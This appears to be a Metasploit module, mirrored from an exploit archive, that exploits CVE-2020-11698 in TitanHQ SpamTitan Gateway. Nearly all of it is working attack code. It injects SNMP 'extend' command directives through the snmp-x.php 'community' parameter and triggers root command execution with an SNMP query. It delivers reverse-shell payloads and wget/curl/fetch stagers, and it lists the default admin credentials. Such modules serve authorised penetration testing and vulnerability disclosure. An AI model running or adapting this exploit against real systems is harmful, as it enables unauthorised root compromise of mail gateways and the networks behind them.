Share
## https://sploitus.com/exploit?id=PACKETSTORM:160809
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::SNMPClient  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SpamTitan Unauthenticated RCE',  
'Description' => %q{  
TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against  
unwanted emails and malwares. This module exploits an improper input  
sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives  
into the SNMP configuration file and get remote code execution as root. Note  
that only version 7.03 needs authentication and no authentication is required  
for versions 7.01, 7.02 and 7.07.  
  
First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`  
command directives (`extend` + command) passed to the `community` parameter.  
This payload is then added to `snmpd.conf` by the application. Finally, the  
module triggers the execution of this command by querying the SNMP server for  
the correct OID.  
  
This exploit module has been successfully tested against versions 7.01, 7.02,  
7.03, and 7.07.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Christophe De La Fuente', # MSF module  
'Felipe Molina' # original PoC  
],  
'References' =>  
[  
[ 'EDB', '48856' ],  
[ 'URL', 'https://www.titanhq.com/spamtitan/spamtitangateway/'],  
[ 'CVE', '2020-11698']  
],  
'CmdStagerFlavor' => %i[fetch wget curl],  
'Payload' => {  
'DisableNops' => true  
},  
'Targets' =>  
[  
[  
'Unix In-Memory',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },  
'Payload' => {  
'BadChars' => "\\'#",  
'Encoder' => 'cmd/perl',  
'PrependEncoder' => '/bin/tcsh -c \'',  
'AppendEncoder' => '\'#',  
'Space' => 470  
},  
'Type' => :unix_memory  
}  
],  
[  
'FreeBSD Dropper (x64)',  
{  
'Platform' => 'bsd',  
'Arch' => [ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },  
'Payload' => {  
'BadChars' => "'#",  
'Space' => 450  
},  
'Type' => :bsd_dropper  
}  
],  
[  
'FreeBSD Dropper (x86)',  
{  
'Platform' => 'bsd',  
'Arch' => [ARCH_X86],  
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp' },  
'Payload' => {  
'BadChars' => "'#",  
'Space' => 450  
},  
'Type' => :bsd_dropper  
}  
]  
],  
'DisclosureDate' => '2020-04-17',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80, true, 'The target HTTP port'),  
OptPort.new('SNMPPORT', [ true, 'The target SNMP port (UDP)', 161 ]),  
OptString.new('TARGETURI', [ true, 'The base path to SpamTitan', '/' ]),  
OptString.new(  
'USERNAME',  
[  
false,  
'Username to authenticate, if required (depending on SpamTitan Gateway version)',  
'admin'  
]  
),  
OptString.new(  
'PASSWORD',  
[  
false,  
'Password to authenticate, if required (depending on SpamTitan Gateway version)',  
'hiadmin'  
]  
),  
OptString.new(  
'COMMUNITY',  
[  
false,  
'The SNMP Community String to use (random string by default)',  
Rex::Text.rand_text_alpha(8)  
]  
),  
OptString.new(  
'ALLOWEDIP',  
[  
false,  
'The IP address that will be allowed to query the injected `extend` '\  
'command. This IP will be added to the SNMP configuration file on the '\  
'target. This is tipically this host IP address, but can be different if '\  
'your are in a NAT\'ed network. If not set, `LHOST` will be used '\  
'instead. If `LHOST` is not set, it will default to `127.0.0.1`.'  
]  
),  
], self.class  
)  
end  
  
def check  
snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')  
vprint_status("Check if #{snmp_x_uri} exists")  
res = send_request_cgi(  
'uri' => snmp_x_uri,  
'method' => 'GET'  
)  
  
if res.nil?  
return Exploit::CheckCode::Unknown.new(  
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - no response"  
)  
end  
  
if res.code == 302  
vprint_status(  
'This version of SpamTitan requires authentication. Trying with the '\  
'provided credentials.'  
)  
res = send_request_cgi(  
'uri' => '/index.php',  
'method' => 'POST',  
'vars_post' => {  
'jaction' => 'none',  
'language' => 'en_US',  
'address' => datastore['USERNAME'],  
'passwd' => datastore['PASSWORD']  
}  
)  
if res.nil?  
return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')  
end  
  
if res.code == 200 && res.body =~ /Invalid username or password/  
return Exploit::CheckCode::Safe.new(  
'Unable to authenticate - Invalid username or password'  
)  
end  
unless res.code == 302  
return Exploit::CheckCode::Unknown.new(  
"Unable to authenticate - Unexpected HTTP response code: #{res.code}"  
)  
end  
  
# For whatever reason, the web application sometimes returns multiple  
# PHPSESSID cookies and only the last one is valid. So, make sure only  
# the valid one is part of the cookie_jar.  
cookies = res.get_cookies.split(' ')  
php_session = cookies.select { |cookie| cookie.starts_with?('PHPSESSID=') }.last  
cookie_jar.clear  
cookie_jar.add(php_session)  
remaining_cookies = cookies.delete_if { |cookie| cookie.starts_with?('PHPSESSID=') }  
cookie_jar.merge(remaining_cookies)  
  
res = send_request_cgi(  
'uri' => snmp_x_uri,  
'method' => 'GET'  
)  
end  
  
unless res.code == 200  
return Exploit::CheckCode::Safe.new(  
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - "\  
"unexpected HTTP response code: #{res.code}"  
)  
end  
  
Exploit::CheckCode::Appears  
rescue ::Rex::ConnectionError => e  
vprint_error("Connection error: #{e}")  
return Exploit::CheckCode::Unknown.new(  
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})"  
)  
end  
  
def exploit  
if target['Type'] == :unix_memory  
execute_command(payload.encoded)  
else  
execute_cmdstager(linemax: payload_info['Space'].to_i, noconcat: true)  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
def inject_payload(community)  
snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')  
print_status("Send a request to #{snmp_x_uri} and inject the payload")  
  
post_params = {  
'jaction' => 'saveAll',  
'contact' => 'CONTACT',  
'name' => 'SpamTitan',  
'location' => 'LOCATION',  
'community' => community  
}  
  
# First, grab the CSRF token, if any (depending on the version)  
res = send_request_cgi(  
'uri' => '/snmp.php',  
'method' => 'GET'  
)  
if res.code == 200  
doc = ::Nokogiri::HTML(res.body)  
csrf_name = doc.xpath('//input[@name=\'CSRFName\']/attribute::value').first&.value  
csrf_token = doc.xpath('//input[@name=\'CSRFToken\']/attribute::value').first&.value  
if csrf_name && csrf_token  
print_status('CSRF token found')  
post_params['CSRFName'] = csrf_name  
post_params['CSRFToken'] = csrf_token  
end  
end  
  
res = send_request_cgi(  
'uri' => snmp_x_uri,  
'method' => 'POST',  
'vars_post' => post_params  
)  
if res.nil?  
fail_with(Failure::Unreachable,  
"#{peer} - Unable to inject the payload - no response")  
end  
unless res.code == 200  
fail_with(Failure::UnexpectedReply,  
"#{peer} - Unable to inject the payload - unexpected HTTP response "\  
"code: #{res.code}")  
end  
begin  
json_res = JSON.parse(res.body)['success']  
rescue JSON::ParserError  
json_res = nil  
end  
unless json_res  
fail_with(Failure::UnexpectedReply,  
"#{peer} - Unable to inject the payload - Unknown error: #{res.body}")  
end  
end  
  
def trigger_payload(name)  
print_status('Send an SNMP Get-Request to trigger the payload')  
  
# RPORT needs to be specified since the default value is set to the web  
# service port.  
connect_snmp(true, 'RPORT' => datastore['SNMPPORT'])  
begin  
res = snmp.get("1.3.6.1.4.1.8072.1.3.2.3.1.1.8.#{name.bytes.join('.')}")  
msg = "SNMP Get-Request response (status=#{res.error_status}): "\  
"#{res.each_varbind.map(&:value).join('|')}"  
if res.error_status == :noError  
vprint_good(msg)  
else  
vprint_error(msg)  
end  
rescue SNMP::RequestTimeout, IOError  
# not always expecting a response here, so timeout is likely to happen  
end  
end  
  
def execute_command(cmd, _opts = {})  
if target['Type'] == :bsd_dropper  
# 'tcsh' is the default shell on FreeBSD  
# Also, make sure it runs in background (&) to avoid blocking  
cmd = "/bin/tcsh -c '#{[cmd.gsub('\'', '\\\\\'').gsub('\\', '\\\\\\')].shelljoin}&'#"  
end  
name = Rex::Text.rand_text_alpha(8)  
ip = datastore['ALLOWEDIP'] || datastore['LHOST'] || '127.0.0.1'  
if ip == '127.0.0.1'  
print_warning(  
'Neither ALLOWEDIP and LHOST has been set and 127.0.0.1 will be used'\  
'instead. It will probably fail to trigger the payload.'  
)  
end  
  
# The injected payload consists of two lines:  
# 1. the community string and the IP address allowed to query this  
# community string  
# 2. the `extend` keyword, the name token used to trigger the payload  
# and the actual command to execute  
community = "#{datastore['COMMUNITY']}\" #{ip}\nextend #{name} #{cmd}"  
inject_payload(community)  
  
# The previous HTTP POST request made the application restart the SNMPD  
# service. So, wait a bit to make sure it is running.  
sleep(2)  
  
trigger_payload(name)  
end  
end